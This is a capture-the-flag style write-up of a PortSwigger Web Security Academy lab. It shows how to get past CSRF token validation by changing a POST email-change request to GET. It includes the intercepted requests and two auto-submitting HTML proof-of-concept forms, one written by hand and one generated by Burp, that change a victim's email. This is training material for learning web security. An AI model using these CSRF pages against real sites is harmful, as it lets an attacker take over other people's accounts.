| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CSRF — Method-Based Token Bypass |
| Difficulty | Practitioner |
| Target | 0a89003e045ece2881984dc5007300b6.web-security-academy.net |
| Objective | Change the victim's email address by bypassing CSRF token validation |
CSRF Where Token Validation Depends on Request Method — Writeup¶
Initial Observation¶
Logged in as wiener:peter. Account page shows:
My Account
Your username is: wiener
Your email is: [email protected]
Web — Email Change Request Analysis¶
Intercepting the email update with Burp:
POST /my-account/change-email HTTP/2
[email protected]&csrf=Q2Cehb9TAQnrCHqpEcbyS2bZ3e8P670R
A CSRF token is present. A standard PoC won't work without knowing the victim's token value. The real question is whether the server validates the token on all request methods, or only on POST.
Method Switch — Bypassing Token Validation¶
Using Burp's "Change request method" to convert the POST to a GET:
GET /my-account/[email protected]&csrf=Q2Cehb9TAQnrCHqpEcbyS2bZ3e8P670R HTTP/2
The server returns 302 Found:
Following the redirect gives 200 OK — email changed to [email protected]:
The server only validates the CSRF token on POST. A GET to the same endpoint processes the change with no token check at all. From here the PoC needs zero knowledge of the victim's token.
Building the PoC¶
Manual — modified source form:
<form class="login-form" name="change-email-form" action="https://0a89003e045ece2881984dc5007300b6.web-security-academy.net/my-account/change-email" method="GET">
<input required="" type="email" name="email" value="[email protected]">
<button class="button" type="submit"> Update email </button>
</form>
<script>
document.forms[0].submit();
</script>
Burp-generated PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a89003e045ece2881984dc5007300b6.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
[!note] Burp omits the
methodattribute entirely — forms default to GET when it's absent, which is exactly what's needed here.
Pasting the Burp PoC into the exploit server and viewing it while logged in as wiener confirms the email changes. Delivering to the victim solves the lab :P
Resources¶
- PortSwigger — Bypassing CSRF token validation
- PortSwigger — CSRF
- Burp Suite Professional — request method switching, CSRF PoC generator